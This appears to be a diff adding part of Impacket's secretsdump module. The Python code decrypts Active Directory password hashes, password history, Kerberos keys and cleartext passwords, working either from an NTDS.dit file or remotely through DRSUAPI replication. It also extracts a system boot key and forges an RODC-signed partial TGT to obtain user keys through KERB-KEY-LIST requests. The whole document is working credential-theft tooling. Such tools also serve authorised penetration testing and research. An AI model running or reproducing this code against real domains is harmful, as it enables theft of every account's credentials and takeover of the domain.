+ NTHash = self.__removeDESLayer(tmpNTHash, rid)
+ else:
+ NTHash = ntlm.NTOWFv1('', '')
+
+ if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
+ domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
+ userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
+ else:
+ userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
+
+ if self.__printUserStatus is True:
+ # Enabled / disabled users
+ if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
+ if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
+ userAccountStatus = 'Disabled'
+ elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
+ userAccountStatus = 'Enabled'
+ else:
+ userAccountStatus = 'N/A'
+
+ if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
+ pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
+ else:
+ pwdLastSet = 'N/A'
+
+ answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
+ if self.__pwdLastSet is True:
+ answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
+ if self.__printUserStatus is True:
+ answer = "%s (status=%s)" % (answer, userAccountStatus)
+
+ self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+
+ if outputFile is not None:
+ self.__writeOutput(outputFile, answer + '\n')
+
+ if self.__history:
+ LMHistory = []
+ NTHistory = []
+ if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
+ encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
+ tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
+ for i in range(0, len(tmpLMHistory) // 16):
+ LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
+ LMHistory.append(LMHash)
+
+ if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
+ encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
+
+ if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00':
+ # Win2016 TP4 decryption is different
+ encryptedNTHistory = self.CRYPTED_HASHW16(
+ unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
+ pekIndex = hexlify(encryptedNTHistory['Header'])
+ tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+ encryptedNTHistory['EncryptedHash'],
+ encryptedNTHistory['KeyMaterial'])
+ else:
+ tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
+
+ for i in range(0, len(tmpNTHistory) // 16):
+ NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
+ NTHistory.append(NTHash)
+
+ for i, (LMHash, NTHash) in enumerate(
+ map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
+ if self.__noLMHash:
+ lmhash = hexlify(ntlm.LMOWFv1('', ''))
+ else:
+ lmhash = hexlify(LMHash)
+
+ answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
+ hexlify(NTHash).decode('utf-8'))
+ if outputFile is not None:
+ self.__writeOutput(outputFile, answer + '\n')
+ self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+ else:
+ replyVersion = 'V%d' %record['pdwOutVersion']
+ LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+ domain = None
+ if self.__history:
+ LMHistory = []
+ NTHistory = []
+
+ rid = unpack(' 0:
+ encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+ encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
+ LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
+ else:
+ LMHash = ntlm.LMOWFv1('', '')
+ elif attId == LOOKUP_TABLE['unicodePwd']:
+ if attr['AttrVal']['valCount'] > 0:
+ encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+ encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
+ NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
+ else:
+ NTHash = ntlm.NTOWFv1('', '')
+ elif attId == LOOKUP_TABLE['userPrincipalName']:
+ if attr['AttrVal']['valCount'] > 0:
+ try:
+ domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
+ except:
+ domain = None
+ else:
+ domain = None
+ elif attId == LOOKUP_TABLE['sAMAccountName']:
+ if attr['AttrVal']['valCount'] > 0:
+ try:
+ userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
+ except:
+ LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+ userName = 'unknown'
+ else:
+ LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+ userName = 'unknown'
+ elif attId == LOOKUP_TABLE['objectSid']:
+ if attr['AttrVal']['valCount'] > 0:
+ objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+ else:
+ LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+ objectSid = rid
+ elif attId == LOOKUP_TABLE['pwdLastSet']:
+ if attr['AttrVal']['valCount'] > 0:
+ try:
+ pwdLastSet = self.__fileTimeToDateTime(unpack(' 0:
+ if (unpack(' 0:
+ encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+ tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
+ for i in range(0, len(tmpLMHistory) // 16):
+ LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
+ LMHistory.append(LMHashHistory)
+ else:
+ LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+ elif attId == LOOKUP_TABLE['ntPwdHistory']:
+ if attr['AttrVal']['valCount'] > 0:
+ encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+ tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
+ for i in range(0, len(tmpNTHistory) // 16):
+ NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
+ NTHistory.append(NTHashHistory)
+ else:
+ LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+
+ if domain is not None:
+ userName = '%s\\%s' % (domain, userName)
+
+ answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
+ if self.__pwdLastSet is True:
+ answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
+ if self.__printUserStatus is True:
+ answer = "%s (status=%s)" % (answer, userAccountStatus)
+ self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+
+ if outputFile is not None:
+ self.__writeOutput(outputFile, answer + '\n')
+
+ if self.__history:
+ for i, (LMHashHistory, NTHashHistory) in enumerate(
+ map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
+ if self.__noLMHash:
+ lmhash = hexlify(ntlm.LMOWFv1('', ''))
+ else:
+ lmhash = hexlify(LMHashHistory)
+
+ answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
+ hexlify(NTHashHistory).decode('utf-8'))
+ self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+ if outputFile is not None:
+ self.__writeOutput(outputFile, answer + '\n')
+
+ if outputFile is not None:
+ outputFile.flush()
+
+ LOG.debug('Leaving NTDSHashes.__decryptHash')
+
+ def dump(self):
+ hashesOutputFile = None
+ keysOutputFile = None
+ clearTextOutputFile = None
+
+ if self.__useVSSMethod is True:
+ if self.__NTDS is None:
+ # No NTDS.dit file provided and were asked to use VSS
+ return
+ else:
+ if self.__NTDS is None:
+ # DRSUAPI method, checking whether target is a DC
+ try:
+ if self.__remoteOps is not None:
+ try:
+ self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
+ except:
+ if os.getenv('KRB5CCNAME') is not None and (self.__justUser is not None or self.__ldapFilter is not None):
+ # RemoteOperations failed. That might be because there was no way to log into the
+ # target system. We just have a last resort. Hope we have tickets cached and that they
+ # will work
+ pass
+ else:
+ raise
+ else:
+ raise Exception('No remote Operations available')
+ except Exception as e:
+ LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
+ # Target's not a DC
+ return
+
+ try:
+ # Let's check if we need to save results in a file
+ if self.__outputFileName is not None:
+ LOG.debug('Saving output to %s' % self.__outputFileName)
+ # We have to export. Are we resuming a session?
+ if self.__resumeSession.hasResumeData():
+ mode = 'a+'
+ else:
+ mode = 'w+'
+ hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
+ if self.__justNTLM is False:
+ keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)
+ clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)
+
+ LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
+ if self.__useVSSMethod:
+ # We start getting rows from the table aiming at reaching
+ # the pekList. If we find users records we stored them
+ # in a temp list for later process.
+ self.__getPek()
+ if self.__PEK is not None:
+ LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
+ # First of all, if we have users already cached, let's decrypt their hashes
+ for record in self.__tmpUsers:
+ try:
+ self.__decryptHash(record, outputFile=hashesOutputFile)
+ if self.__justNTLM is False:
+ self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
+ except Exception as e:
+ LOG.debug('Exception', exc_info=True)
+ try:
+ LOG.error(
+ "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
+ LOG.error(str(e))
+ pass
+ except:
+ LOG.error("Error while processing row!")
+ LOG.error(str(e))
+ pass
+
+ # Now let's keep moving through the NTDS file and decrypting what we find
+ while True:
+ try:
+ record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)
+ except:
+ LOG.error('Error while calling getNextRow(), trying the next one')
+ continue
+
+ if record is None:
+ break
+ try:
+ if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
+ self.__decryptHash(record, outputFile=hashesOutputFile)
+ if self.__justNTLM is False:
+ self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
+ except Exception as e:
+ LOG.debug('Exception', exc_info=True)
+ try:
+ LOG.error(
+ "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
+ LOG.error(str(e))
+ pass
+ except:
+ LOG.error("Error while processing row!")
+ LOG.error(str(e))
+ pass
+ else:
+ LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
+ status = STATUS_MORE_ENTRIES
+ enumerationContext = 0
+
+ # Do we have to resume from a previously saved session?
+ if self.__resumeSession.hasResumeData():
+ resumeSid = self.__resumeSession.getResumeData()
+ LOG.info('Resuming from SID %s, be patient' % resumeSid)
+ else:
+ resumeSid = None
+ # We do not create a resume file when asking for individual users
+ if self.__justUser is None and self.__ldapFilter is None:
+ self.__resumeSession.beginTransaction()
+
+ if self.__justUser is not None:
+ # Depending on the input received, we need to change the formatOffered before calling
+ # DRSCrackNames.
+ # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
+ # That's because we don't specify the domain for the user (and there might be duplicates)
+ # Always remember that if you specify a domain, you should specify the NetBIOS domain name,
+ # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
+ if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:
+ self.__justUser = self.__justUser.replace('/','\\')
+ formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
+ else:
+ formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
+
+ crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
+ drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
+ name=self.__justUser)
+
+ if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
+ if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
+ raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
+ 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
+
+ userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
+ #userRecord.dump()
+ replyVersion = 'V%d' % userRecord['pdwOutVersion']
+ if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
+ raise Exception('DRSGetNCChanges didn\'t return any object!')
+ else:
+ LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
+ crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
+ try:
+ self.__decryptHash(userRecord,
+ userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
+ hashesOutputFile)
+ if self.__justNTLM is False:
+ self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
+ 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
+
+ except Exception as e:
+ LOG.error("Error while processing user!")
+ LOG.debug("Exception", exc_info=True)
+ LOG.error(str(e))
+ elif self.__ldapFilter is not None:
+ resp = self.__remoteOps.getDomainUsersLDAP(self.__ldapFilter)
+ formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
+ for user in resp:
+ crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
+ drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
+ name=user)
+
+ if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
+ if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
+ raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
+ 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
+
+ userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
+ #userRecord.dump()
+ replyVersion = 'V%d' % userRecord['pdwOutVersion']
+ if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
+ raise Exception('DRSGetNCChanges didn\'t return any object!')
+ else:
+ LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
+ crackedName['pmsgOut']['V1']['pResult']['cItems'], user))
+ try:
+ self.__decryptHash(userRecord,
+ userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
+ hashesOutputFile)
+ if self.__justNTLM is False:
+ self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
+ 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
+
+ except Exception as e:
+ LOG.error("Error while processing user %s!" % user)
+ LOG.debug("Exception", exc_info=True)
+ LOG.error(str(e))
+ else:
+ while status == STATUS_MORE_ENTRIES:
+ resp = self.__remoteOps.getDomainUsers(enumerationContext)
+
+ for user in resp['Buffer']['Buffer']:
+ userName = user['Name']
+
+ userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId'])
+ if resumeSid is not None:
+ # Means we're looking for a SID before start processing back again
+ if resumeSid == userSid:
+ # Match!, next round we will back processing
+ LOG.debug('resumeSid %s reached! processing users from now on' % userSid)
+ resumeSid = None
+ else:
+ LOG.debug('Skipping SID %s since it was processed already' % userSid)
+ continue
+
+ # Let's crack the user sid into DS_FQDN_1779_NAME
+ # In theory I shouldn't need to crack the sid. Instead
+ # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
+ # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
+ crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
+ drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
+ name=userSid)
+
+ if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
+ if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
+ LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
+ 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
+ break
+ userRecord = self.__remoteOps.DRSGetNCChanges(
+ crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
+ # userRecord.dump()
+ replyVersion = 'V%d' % userRecord['pdwOutVersion']
+ if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
+ raise Exception('DRSGetNCChanges didn\'t return any object!')
+ else:
+ LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
+ crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
+ try:
+ self.__decryptHash(userRecord,
+ userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
+ hashesOutputFile)
+ if self.__justNTLM is False:
+ self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
+ 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
+
+ except Exception as e:
+ LOG.error("Error while processing user!")
+ LOG.debug("Exception", exc_info=True)
+ LOG.error(str(e))
+
+ # Saving the session state
+ self.__resumeSession.writeResumeData(userSid)
+
+ enumerationContext = resp['EnumerationContext']
+ status = resp['ErrorCode']
+
+ # Everything went well and we covered all the users
+ # Let's remove the resume file is we had created it
+ if self.__justUser is None and self.__ldapFilter is None:
+ self.__resumeSession.clearResumeData()
+
+ LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
+ # Now we'll print the Kerberos keys. So we don't mix things up in the output.
+ if len(self.__kerberosKeys) > 0:
+ if self.__useVSSMethod is True:
+ LOG.info('Kerberos keys from %s ' % self.__NTDS)
+ else:
+ LOG.info('Kerberos keys grabbed')
+
+ for itemKey in list(self.__kerberosKeys.keys()):
+ self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
+
+ # And finally the cleartext pwds
+ if len(self.__clearTextPwds) > 0:
+ if self.__useVSSMethod is True:
+ LOG.info('ClearText password from %s ' % self.__NTDS)
+ else:
+ LOG.info('ClearText passwords grabbed')
+
+ for itemKey in list(self.__clearTextPwds.keys()):
+ self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
+ finally:
+ # Resources cleanup
+ if hashesOutputFile is not None:
+ hashesOutputFile.close()
+
+ if keysOutputFile is not None:
+ keysOutputFile.close()
+
+ if clearTextOutputFile is not None:
+ clearTextOutputFile.close()
+
+ self.__resumeSession.endTransaction()
+
+ @classmethod
+ def __writeOutput(cls, fd, data):
+ try:
+ fd.write(data)
+ except Exception as e:
+ LOG.error("Error writing entry, skipping (%s)" % str(e))
+ pass
+
+ def finish(self):
+ if self.__NTDS is not None:
+ self.__ESEDB.close()
+
+
+class LocalOperations:
+ def __init__(self, systemHive):
+ self.__systemHive = systemHive
+
+ def getBootKey(self):
+ # Local Version whenever we are given the files directly
+ bootKey = b''
+ tmpKey = b''
+ winreg = winregistry.Registry(self.__systemHive, False)
+ # We gotta find out the Current Control Set
+ currentControlSet = winreg.getValue('\\Select\\Current')[1]
+ currentControlSet = "ControlSet%03d" % currentControlSet
+ for key in ['JD', 'Skew1', 'GBG', 'Data']:
+ LOG.debug('Retrieving class info for %s' % key)
+ ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
+ digit = ans[:16].decode('utf-16le')
+ tmpKey = tmpKey + b(digit)
+
+ transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
+
+ tmpKey = unhexlify(tmpKey)
+
+ for i in range(len(tmpKey)):
+ bootKey += tmpKey[transforms[i]:transforms[i] + 1]
+
+ LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))
+
+ return bootKey
+
+
+ def checkNoLMHashPolicy(self):
+ LOG.debug('Checking NoLMHash Policy')
+ winreg = winregistry.Registry(self.__systemHive, False)
+ # We gotta find out the Current Control Set
+ currentControlSet = winreg.getValue('\\Select\\Current')[1]
+ currentControlSet = "ControlSet%03d" % currentControlSet
+
+ # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
+ noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
+ if noLmHash is not None:
+ noLmHash = noLmHash[1]
+ else:
+ noLmHash = 0
+
+ if noLmHash != 1:
+ LOG.debug('LMHashes are being stored')
+ return False
+ LOG.debug('LMHashes are NOT being stored')
+ return True
+
+
+class KeyListSecrets:
+ def __init__(self, domainName, kdc, kvno, rodcKey, remoteOps=None):
+ self.__remoteOps = remoteOps
+ self.__keyVersionNumber = kvno
+ self.__rodcKey = rodcKey
+ if self.__remoteOps is None:
+ self.__kdcHostName = kdc
+ self.__domain = domainName
+ else:
+ self.__kdcHostName = self.__remoteOps.getMachineNameAndDomain()[0]
+ self.__domain = self.__remoteOps.getDNSDomain()
+
+ def dump(self):
+ LOG.info('Using the KERB-KEY-LIST method to get secrets')
+ self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
+ targetList = self.getAllowedUsersToReplicate()
+ for targetUser in targetList:
+ user = targetUser.split(":")[0]
+ targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+ partialTGT, sessionKey = self.createPartialTGT(targetUserName)
+ fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey)
+ if fullTGT is not None:
+ key = self.getKey(fullTGT, sessionKey)
+ print(self.__domain + "\\" + targetUser + ":" + key[2:])
+
+ def createPartialTGT(self, userName):
+ # We need the ticket template
+ partialTGT = TicketAsn1()
+ partialTGT['tkt-vno'] = ProtocolVersionNumber.pvno.value
+ partialTGT['realm'] = self.__domain
+ partialTGT['sname'] = noValue
+ partialTGT['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
+ partialTGT['sname']['name-string'][0] = 'krbtgt'
+ partialTGT['sname']['name-string'][1] = self.__domain
+ partialTGT['enc-part'] = noValue
+ partialTGT['enc-part']['kvno'] = self.__keyVersionNumber << 16
+ partialTGT['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
+
+ # We create the encrypted ticket part
+ encTicketPart = EncTicketPart()
+ # We need these flags: 01000000100000010000000000000000
+ flags = list()
+ flags.append(TicketFlags.forwardable.value)
+ flags.append(TicketFlags.renewable.value)
+ flags.append(TicketFlags.enc_pa_rep.value)
+
+ # We fill in the encripted part
+ encTicketPart['flags'] = encodeFlags(flags)
+ encTicketPart['key'] = noValue
+ encTicketPart['key']['keytype'] = partialTGT['enc-part']['etype']
+ encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
+ encTicketPart['crealm'] = self.__domain
+ encTicketPart['cname'] = noValue
+ encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
+ encTicketPart['cname']['name-string'] = noValue
+ encTicketPart['cname']['name-string'][0] = userName
+ encTicketPart['transited'] = noValue
+ encTicketPart['transited']['tr-type'] = 0
+ encTicketPart['transited']['contents'] = ''
+ encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.utcnow())
+ encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.utcnow())
+ # Let's extend the ticket's validity a lil bit
+ ticketDuration = datetime.utcnow() + timedelta(days=int(120))
+ encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
+ encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
+ # We don't need PAC
+ encTicketPart['authorization-data'] = noValue
+ # We encode the encripted part
+ encodedEncTicketPart = encoder.encode(encTicketPart)
+ # and we encrypt it with the RODC key
+ cipher = _enctype_table[partialTGT['enc-part']['etype']]
+ key = Key(cipher.enctype, unhexlify(self.__rodcKey))
+ # key usage 2 -> key tgt service
+ cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
+
+ partialTGT['enc-part']['cipher'] = cipherText
+ sessionKey = encTicketPart['key']['keyvalue']
+
+ return partialTGT, sessionKey
+
+ def getFullTGT(self, userName, partialTGT, sessionKey):
+ ticket = Ticket()
+ ticket.from_asn1(partialTGT)
+
+ apReq = AP_REQ()
+ apReq['pvno'] = 5
+ apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+ opts = list()
+ apReq['ap-options'] = constants.encodeFlags(opts)
+ seq_set(apReq, 'ticket', ticket.to_asn1)
+
+ authenticator = Authenticator()
+ authenticator['authenticator-vno'] = 5
+ authenticator['crealm'] = partialTGT['realm'].asOctets()
+
+ seq_set(authenticator, 'cname', userName.components_to_asn1)
+
+ now = datetime.utcnow()
+ authenticator['cusec'] = now.microsecond
+ authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+ encodedAuthenticator = encoder.encode(authenticator)
+ cipher = _enctype_table[partialTGT['enc-part']['etype']]
+ keyAuth = Key(cipher.enctype, bytes(sessionKey))
+ encryptedEncodedAuthenticator = cipher.encrypt(keyAuth, 7, encodedAuthenticator, None)
+
+ apReq['authenticator'] = noValue
+ apReq['authenticator']['etype'] = cipher.enctype
+ apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+ tgsReq = TGS_REQ()
+ tgsReq['pvno'] = 5
+ tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+ tgsReq['padata'] = noValue
+ tgsReq['padata'][0] = noValue
+ tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+ encodedApReq = encoder.encode(apReq)
+ tgsReq['padata'][0]['padata-value'] = encodedApReq
+ tgsReq['padata'][1] = noValue
+ tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value)
+ encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer()))
+ tgsReq['padata'][1]['padata-value'] = encodedKeyReq
+
+ reqBody = seq_set(tgsReq, 'req-body')
+
+ opts = list()
+ opts.append(constants.KDCOptions.canonicalize.value)
+
+ reqBody['kdc-options'] = constants.encodeFlags(opts)
+ serverName = Principal("krbtgt", type=PrincipalNameType.NT_SRV_INST.value)
+ reqBody['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
+ reqBody['sname']['name-string'][0] = serverName
+ reqBody['sname']['name-string'][1] = self.__domain
+ reqBody['realm'] = self.__domain
+
+ now = datetime.utcnow() + timedelta(days=1)
+
+ reqBody['till'] = KerberosTime.to_asn1(now)
+ reqBody['nonce'] = rand.getrandbits(31)
+ seq_set_iter(reqBody, 'etype',
+ (
+ int(cipher.enctype),
+ int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
+ int(constants.EncryptionTypes.rc4_hmac.value),
+ int(constants.EncryptionTypes.rc4_hmac_exp.value),
+ int(constants.EncryptionTypes.rc4_hmac_old_exp.value)
+ )
+ )
+
+ message = encoder.encode(tgsReq)
+ # Let's send our TGS Request, the response will include the FULL TGT with the keys!!!
+ try:
+ logging.debug("Requesting a service ticket for the user %s", userName)
+ resp = sendReceive(message, self.__domain, self.__kdcHostName)
+ except Exception as error:
+ if str(error).find('KDC_ERR_TGT_REVOKED') >= 0 or str(error).find('KDC_ERR_CLIENT_REVOKED') >= 0:
+ logging.error("User %s is not allowed to have passwords replicated in RODCs", userName)
+ elif str(error).find('KDC_ERR_C_PRINCIPAL_UNKNOWN') >= 0:
+ logging.error("User %s doesn't exist", userName)
+ elif str(error).find('KDC_ERR_KEY_EXPIRED') >= 0:
+ logging.error("User %s's password has expired", userName)
+ elif str(error).find('Connection timed out') >= 0:
+ raise Exception("Connection timed out: check the KDC HostName or IP address, aborting")
+ elif str(error).find('Name or service not known') >= 0:
+ raise Exception("Name or service not known: check the KDC HostName or IP address, aborting")
+ elif str(error).find('KDC_ERR_WRONG_REALM') >= 0:
+ raise Exception("KDC_ERR_WRONG_REALM: domain doesn't exist, aborting")
+ elif str(error).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
+ raise Exception("KDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, aborting")
+ elif str(error).find('KRB_AP_ERR_BAD_INTEGRITY') >= 0:
+ raise Exception("KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting")
+ else:
+ logging.error(error)
+ return None
+ return resp
+
+ @staticmethod
+ def getKey(resp, sessionKey):
+ tgsRep = decoder.decode(resp, asn1Spec=TGS_REP())[0]
+
+ encTGSRepPart = tgsRep['enc-part']
+ enctype = encTGSRepPart['etype']
+ cipher = _enctype_table[enctype]
+
+ keyAuth = Key(cipher.enctype, bytes(sessionKey))
+ decryptedTGSRepPart = cipher.decrypt(keyAuth, 8, encTGSRepPart['cipher'])
+ decodedTGSRepPart = decoder.decode(decryptedTGSRepPart, asn1Spec=EncTGSRepPart())[0]
